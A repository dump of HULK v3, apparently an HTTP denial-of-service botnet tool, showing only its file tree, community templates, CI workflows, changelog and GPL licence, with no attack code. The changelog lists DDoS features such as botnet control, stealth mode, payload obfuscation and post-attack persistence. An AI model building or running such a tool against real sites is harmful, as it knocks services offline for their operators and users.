├── .github ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md ├── PULL_REQUEST_TEMPLATE │ └── base_pull_request.md └── workflows │ ├── attach_binaries.yml │ ├── build.yml │ └── style-check.yml ├── .gitignore ├── CHANGELOG.md ├── LICENSE ├── README.md ├── _config.yml ├── assets ├── Hulk.png ├── Hulk_architecture.svg ├── Hulk_banner.png ├── Hulk_client.png ├── Hulk_demo.gif ├── Hulk_server.png └── css │ └── style.scss ├── client ├── __init__.py ├── enums.py └── hulk.py ├── dist ├── Linux │ └── .gitignore └── Windows │ └── .gitignore ├── gui ├── .eslintrc.json ├── .gitignore ├── electron-builder.yml ├── main │ ├── background.ts │ ├── helpers │ │ ├── create-window.ts │ │ └── index.ts │ └── preload.ts ├── nextron.config.js ├── package-lock.json ├── package.json ├── renderer │ ├── .eslintrc.json │ ├── next-env.d.ts │ ├── next.config.js │ ├── pages │ │ ├── _app.tsx │ │ ├── api │ │ │ └── stream.ts │ │ ├── components │ │ │ ├── bot.tsx │ │ │ ├── botnet.tsx │ │ │ ├── status.tsx │ │ │ └── target.tsx │ │ └── index.tsx │ ├── public │ │ ├── Hulk.png │ │ ├── favicon.ico │ │ └── robots │ │ │ ├── 0.png │ │ │ ├── 1.png │ │ │ ├── 2.png │ │ │ ├── 3.png │ │ │ ├── 4.png │ │ │ ├── 5.png │ │ │ ├── 6.png │ │ │ ├── 7.png │ │ │ └── 8.png │ ├── styles │ │ └── globals.css │ ├── tsconfig.json │ └── types │ │ ├── bridge.d.ts │ │ ├── enums.d.ts │ │ └── props.d.ts ├── resources │ ├── Hulk.png │ └── icon.ico ├── tsconfig.json └── types │ ├── bridge.d.ts │ ├── enums.d.ts │ └── props.d.ts ├── hulk_launcher.py ├── hulk_linux.spec ├── hulk_win.spec ├── requirements_linux.txt ├── requirements_win.txt ├── server ├── __init__.py ├── enums.py ├── hulk_server.py └── logger.py └── utils.py /.github/CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. 6 | 7 | ## Our Standards 8 | 9 | Examples of behavior that contributes to creating a positive environment include: 10 | 11 | * Using welcoming and inclusive language 12 | * Being respectful of differing viewpoints and experiences 13 | * Gracefully accepting constructive criticism 14 | * Focusing on what is best for the community 15 | * Showing empathy towards other community members 16 | 17 | Examples of unacceptable behavior by participants include: 18 | 19 | * The use of sexualized language or imagery and unwelcome sexual attention or advances 20 | * Trolling, insulting/derogatory comments, and personal or political attacks 21 | * Public or private harassment 22 | * Publishing others' private information, such as a physical or electronic address, without explicit permission 23 | * Other conduct which could reasonably be considered inappropriate in a professional setting 24 | 25 | ## Our Responsibilities 26 | 27 | Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. 28 | 29 | Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. 30 | 31 | ## Scope 32 | 33 | This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. 34 | 35 | ## Enforcement 36 | 37 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at harshith.thota7@gmail.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. 38 | 39 | Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. 40 | 41 | ## Attribution 42 | 43 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] 44 | 45 | [homepage]: http://contributor-covenant.org 46 | [version]: http://contributor-covenant.org/version/1/4/ 47 | -------------------------------------------------------------------------------- /.github/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Guidelines for Contributing 2 | 3 | ## Edit Types 4 | * Code Improvements like Optimisation, Formatting, etc. 5 | * New Enhancements 6 | * Issue Corrections 7 | * Ideas 8 | * Documentation Support 9 | 10 | ## Rules 11 | * At least one review by a contributer assigned by Hyperclaw79. 12 | * Clone an up to date repo before making edits. 13 | * Pull Request on Edits only. 14 | * No force pushes. 15 | * On usage of third party modules, edit the requirements.txt too. 16 | * Comment over the changes. 17 | * Maintain the Directory Structure. 18 | 19 | ## Tips 20 | * Use the cards in Project tab to mark progress. 21 | * Try working on the Open Issues as that will have higher priority. 22 | * Open an issue when you find a new one. 23 | * Use Squash for multiple commits. 24 | * Use proper commit titles. 25 | * Some files like `enums.py`, etc. need to be duplicated in `Server` and `Client`. 26 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: "[BUG]" 5 | labels: bug 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Choose a Category:** 11 | - [ ] Server 12 | - [ ] Client 13 | - [ ] Gui 14 | - [ ] Documentation 15 | 16 | **Describe the bug** 17 | A clear and concise description of what the bug is. 18 | 19 | **To Reproduce** 20 | Steps to reproduce the behavior: 21 | 1. Go to '...' 22 | 2. Click on '....' 23 | 3. Scroll down to '....' 24 | 4. See error 25 | 26 | **Expected behavior** 27 | A clear and concise description of what you expected to happen. 28 | 29 | **Screenshots** 30 | If applicable, add screenshots to help explain your problem. 31 | 32 | **Desktop (please complete the following information):** 33 | - OS: [e.g. iOS] 34 | - Browser [e.g. chrome, safari] 35 | - Version [e.g. 22] 36 | 37 | **Smartphone (please complete the following information):** 38 | - Device: [e.g. iPhone6] 39 | - OS: [e.g. iOS8.1] 40 | - Browser [e.g. stock browser, safari] 41 | - Version [e.g. 22] 42 | 43 | **Additional context** 44 | Add any other context about the problem here. 45 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: "[FEATURE]" 5 | labels: enhancement 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Choose a Category:** 11 | - [ ] Server 12 | - [ ] Client 13 | - [ ] Gui 14 | - [ ] Documentation 15 | 16 | **Is your feature request related to a problem? Please describe.** 17 | A clear and concise description of what the problem is. 18 | Ex. I'm always frustrated when [...] 19 | 20 | **Describe the solution you'd like** 21 | A clear and concise description of what you want to happen. 22 | 23 | **Describe alternatives you've considered** 24 | A clear and concise description of any alternative solutions or features you've considered. 25 | 26 | **Additional context** 27 | Add any other context or screenshots about the feature request here. -------------------------------------------------------------------------------- /.github/PULL_REQUEST_TEMPLATE/base_pull_request.md: -------------------------------------------------------------------------------- 1 | ## Proposed changes 2 | 3 | Describe the big picture of your changes here to communicate to the maintainers why we should accept this pull request.\ 4 | If it fixes a bug or resolves a feature request, be sure to link to that issue. 5 | 6 | ## Pull request type 7 | 8 | 9 | 10 | 11 | 12 | Please check the type of change your PR introduces: 13 | - [ ] Bugfix 14 | - [ ] Feature 15 | - [ ] Code style update (formatting, renaming) 16 | - [ ] Refactoring (no functional changes) 17 | - [ ] Documentation changes 18 | 19 | ## Does this introduce a breaking change? 20 | 21 | - [ ] Yes 22 | - [ ] No 23 | 24 | 25 | 26 | ## Checklist 27 | 28 | _Put an `x` in the boxes that apply. You can also fill these out after creating the PR. 29 | If you're unsure about any of them, don't hesitate to ask. We're here to help! 30 | This is simply a reminder of what we are going to look for before merging your code._ 31 | - [ ] I have read the **CONTRIBUTING** document. 32 | - [ ] My code follows the code style of this project. 33 | - [ ] I have linted the code with Pylint and Pycodestyle. (or ESLint for Gui) 34 | - [ ] I have updated the documentation accordingly. 35 | - [ ] I have made patches to existing code to make it compatible with the proposed changes. (In case of breaking changes) 36 | 37 | ## Further comments 38 | 39 | If this is a relatively large or complex change, kick off the discussion by explaining \ 40 | why you chose the solution you did and what alternatives you considered, etc... 41 | -------------------------------------------------------------------------------- /.github/workflows/attach_binaries.yml: -------------------------------------------------------------------------------- 1 | name: Attach Binaries to GitHub Release 2 | 3 | on: 4 | release: 5 | branches: ["async"] 6 | types: [published] 7 | tags: 8 | - v*.* 9 | - v*.*.* 10 | 11 | jobs: 12 | Binary_Attacher: 13 | runs-on: ubuntu-latest 14 | steps: 15 | - name: Download Artifact 16 | uses: dawidd6/action-download-artifact@v2 17 | with: 18 | workflow: build.yml 19 | workflow_conclusion: success 20 | branch: async 21 | name: Hulk Binaries 22 | search_artifacts: true 23 | skip_unpack: true 24 | 25 | - name: Rename the Binary 26 | shell: bash 27 | run: mv "Hulk Binaries.zip" Hulk_Binaries.zip 28 | 29 | - name: Attach the binaries 30 | uses: shogo82148/actions-upload-release-asset@v1 31 | with: 32 | upload_url: "https://uploads.github.com/repos/Hyperclaw79/HULK-v3/releases/${{ github.event.release.id }}/assets?name=Hulk_Binaries.zip" 33 | asset_path: Hulk_Binaries.zip 34 | -------------------------------------------------------------------------------- /.github/workflows/build.yml: -------------------------------------------------------------------------------- 1 | name: Build and Package 2 | 3 | on: 4 | push: 5 | branches: ["async"] 6 | paths: 7 | - '*.py' 8 | - client/** 9 | - gui/** 10 | - server/** 11 | - '*.spec' 12 | - requirements_*.txt 13 | 14 | workflow_dispatch: 15 | 16 | jobs: 17 | Packager: 18 | strategy: 19 | fail-fast: false 20 | matrix: 21 | os: [ubuntu-latest, windows-latest] 22 | # Test Build on Python 3.8 and latest version 23 | # But only push the binaries for Python 3.8 24 | python: ['3.8', '3.x'] 25 | 26 | runs-on: ${{ matrix.os }} 27 | 28 | steps: 29 | - name: Set Env Vars for Linux 30 | if: matrix.os == 'ubuntu-latest' 31 | shell: bash 32 | run: | 33 | echo "OS_SHORT_NAME=linux" >> $GITHUB_ENV 34 | echo "OS_NAME=linux" >> $GITHUB_ENV 35 | echo "EXT=AppImage" >> $GITHUB_ENV 36 | 37 | - name: Set Env Vars for Windows 38 | if: matrix.os == 'windows-latest' 39 | shell: bash 40 | run: | 41 | echo "OS_SHORT_NAME=win" >> $GITHUB_ENV 42 | echo "OS_NAME=windows" >> $GITHUB_ENV 43 | echo "EXT=exe" >> $GITHUB_ENV 44 | 45 | - uses: actions/checkout@v3 46 | 47 | - uses: actions/setup-python@v4 48 | with: 49 | python-version: ${{ matrix.python }} 50 | architecture: x64 51 | 52 | - name: Install Dependencies from requirements.txt 53 | run: | 54 | python -m pip install -r requirements_${{ env.OS_SHORT_NAME }}.txt 55 | python -m pip install pyinstaller 56 | 57 | - name: Package Python Binaries with Pyinstaller 58 | run: | 59 | pyinstaller hulk_${{ env.OS_SHORT_NAME }}.spec 60 | 61 | - uses: actions/setup-node@v3 62 | with: 63 | node-version: 18.7.0 64 | if: matrix.python == '3.8' 65 | 66 | - name: Build GUI 67 | run: | 68 | cd gui 69 | npm install 70 | npm run build:${{ env.OS_SHORT_NAME }} 71 | if: matrix.python == '3.8' 72 | 73 | - name: Copy GUI binary to main dist folder 74 | shell: bash 75 | run: | 76 | cp gui/dist/${{ env.OS_SHORT_NAME }}/Hulk_GUI.${{ env.EXT }} dist/${{ env.OS_NAME }} 77 | if: matrix.python == '3.8' 78 | 79 | - uses: actions/upload-artifact@v3 80 | with: 81 | name: Hulk Binaries 82 | path: | 83 | dist/ 84 | !dist/.gitignore 85 | if: matrix.python == '3.8' 86 | -------------------------------------------------------------------------------- /.github/workflows/style-check.yml: -------------------------------------------------------------------------------- 1 | name: List & Style Check 2 | 3 | on: 4 | push: 5 | paths: 6 | - '*.py' 7 | - client/** 8 | - server/** 9 | - gui/** 10 | 11 | workflow_dispatch: 12 | 13 | jobs: 14 | 15 | # JOB to run change detection 16 | Check_changes: 17 | runs-on: ubuntu-latest 18 | # Set job outputs to values from filter step 19 | outputs: 20 | backend: ${{ steps.filter.outputs.backend }} 21 | frontend: ${{ steps.filter.outputs.frontend }} 22 | steps: 23 | - uses: actions/checkout@v3 24 | 25 | - uses: dorny/paths-filter@v2 26 | id: filter 27 | with: 28 | filters: | 29 | backend: 30 | - '*.py' 31 | - 'client/**' 32 | - 'server/**' 33 | frontend: 34 | - 'gui/**' 35 | 36 | Python_Linting: 37 | needs: Check_changes 38 | if: ${{ needs.Check_changes.outputs.backend }} 39 | strategy: 40 | fail-fast: false 41 | matrix: 42 | python-version: ['3.8', '3.9', '3.10', '3.11', '3.x'] 43 | runs-on: ubuntu-latest 44 | steps: 45 | - uses: actions/checkout@v3 46 | 47 | - uses: actions/setup-python@v4 48 | with: 49 | python-version: ${{ matrix.python-version }} 50 | architecture: x64 51 | 52 | - name: Install Dependencies from requirements.txt 53 | run: | 54 | python -m pip install -r requirements_linux.txt 55 | python -m pip install pylint pycodestyle 56 | 57 | - name: Run Linting 58 | run: | 59 | pylint --exit-zero -f colorized hulk_launcher.py utils.py client server 60 | 61 | - name: Code Style Checks 62 | run: | 63 | pycodestyle hulk_launcher.py utils.py client server 64 | 65 | Node_Linting: 66 | needs: Check_changes 67 | if: ${{ needs.Check_changes.outputs.frontend }} 68 | runs-on: ubuntu-latest 69 | env: 70 | working-directory: './gui' 71 | steps: 72 | - uses: actions/checkout@v3 73 | - uses: actions/setup-node@v3 74 | with: 75 | node-version: 18.7.0 76 | architecture: x64 77 | - name: Install Dependencies from package.json 78 | working-directory: ${{ env.working-directory }} 79 | run: | 80 | npm install 81 | - name: Run Linting 82 | working-directory: ${{ env.working-directory }} 83 | run: | 84 | npm run lint 85 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | win_bin/ 3 | hulk.bat 4 | GuiHulk/ 5 | .venv/ 6 | .vscode/ 7 | build/ 8 | node_modules/ -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | ## Changelog 2 | ### v3.2 3 | 1. Added a (NextJs) GUI to show the bots in action. 4 | 2. Project-wide improvements and refactoring. 5 | 3. Added Workflows to automatically build binaries in Linux and Windows. 6 | 4. Improved contribution-friendlyness by completing all community guidelines. 7 | 8 | ### v3.1 9 | 1. Refactored the code to make it more performant. 10 | 2. Standardized the code using PEP8 and Pylint. 11 | 3. Switched to Multithreaded Asyncio. 12 | 4. Added a new Launcher script to launch either the Client or the Server. 13 | 5. Added Argument Parser to increase the flexibility of the tool. 14 | 6. Fixed bugs in HTTP Requests. 15 | 7. Fixed bugs in botnet communication. 16 | 8. Enhanced Logging for Server. 17 | 9. Added Stealth Mode for Hulk Client. 18 | 10. Improved documentation and overall readability. 19 | 20 | ### v3.0 21 | 1. Switched from Multiprocessing to asynchronous event loops. 22 | 2. Included a Root Server to control all bots for a DDoS. 23 | 3. Fixed some issues with request generation and headers. 24 | 4. Improved attack and overall performance. 25 | 5. Switched to Json Payload for POST attacks. 26 | 6. Synchronized target status across all bots. 27 | 7. Bots are reusable if the target isn't down within 500 attacks. 28 | 8. Improved Documentation. 29 | 9. Added optional Persistence after successful DDoS. 30 | ### v2.0 31 | 1)Syntax Corrections. 32 | 2)Replaced urllib2 module with requests module. 33 | 3)Replaced support for Http with support for Https. 34 | 4)Added more HTTP Status Error Codes for detection and control. 35 | 5)Randomized buildblock size a bit more. 36 | 6)Deprecated 'safe'. 37 | 7)Improved Documentation. 38 | 8)Payload Obfuscation. 39 | 9)Converted global variables to class variables. 40 | 10)Replaced Threading with Multiprocessing. 41 | 11)Introduced Shared Memory for interprocess communication. 42 | 12)Performed other performance tweaks. 43 | 44 | ------------------------------------------------------------------------------------------------- 45 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions 